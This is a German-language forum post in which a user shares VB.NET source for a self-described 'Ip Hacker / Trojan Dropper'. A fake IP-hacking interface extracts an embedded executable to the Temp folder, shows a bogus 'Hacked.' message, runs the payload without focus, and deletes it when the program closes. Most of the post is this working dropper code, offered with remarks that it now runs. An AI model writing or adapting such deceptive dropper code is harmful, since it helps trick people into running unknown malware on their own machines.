Ip Hacker / Trojan Dropper

[LeadOr]

hm naja einfach is sicher was anderes es ist ja kein richtiger ip hacker xD
ausserdem lern ich vb nicht.

ich such mir dass was ich gerade brauche und versuchs zu verstehen und abzuändenr etc.

ich geh ja nich nach buch vor. die konrete vorgensweise des vb codes is ja nich so schwer also selber sachen coden wie einfacherer dinge übergabe von texten etc is schnell gelernt.

wobei ich auch zugeben muss der code des überprüfens ist reinkopiert da steig ich nochnicht soganz durch aber da bin ich dran

EDIT: hm ich merk grad das der auf xp garnich geht weil der ordner ja anders heißt -.- naja mussman dann halt ändenr bzw special folder als apppath setzen oderso ^^

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
            Handles Button1.Click
        If TextBox1.Text = "Enter IP" Then
            MessageBox.Show("Please enter IP")
            Exit Sub
        End If
        If TextBox1.Text = "" Then
            MessageBox.Show("Please enter Ip")
            Exit Sub
        End If

        Dim AppPath As String = My.Computer.FileSystem.SpecialDirectories.Temp

        If AppPath.EndsWith("\") = False Then AppPath &= "\"
        AppPath &= "\hackit.exe"

        Dim Result As Boolean = Hacker("IPHACKER.hackit.exe", AppPath)
        Select Case Result
            Case True
                MessageBox.Show("Hacked.", "Info")
            Case Else
                MessageBox.Show("Can't hack IP!.", "Info")
        End Select

        Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim datei As String = "hackit.exe"


        If Path.Combine(del, datei) <> "" Then
            Dim TaskID As Long
            TaskID = Shell(Path.Combine(del, datei), vbNormalNoFocus)
        Else
            MessageBox.Show("ERROR!")
        End If

    End Sub

close button löscht nun die datei wieder

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim datei As String = "hackit.exe"
        If File.Exists(Path.Combine(del, datei)) Then
            Kill(Path.Combine(del, datei))

        End If
        Me.Close()
    End Sub

so edited läuft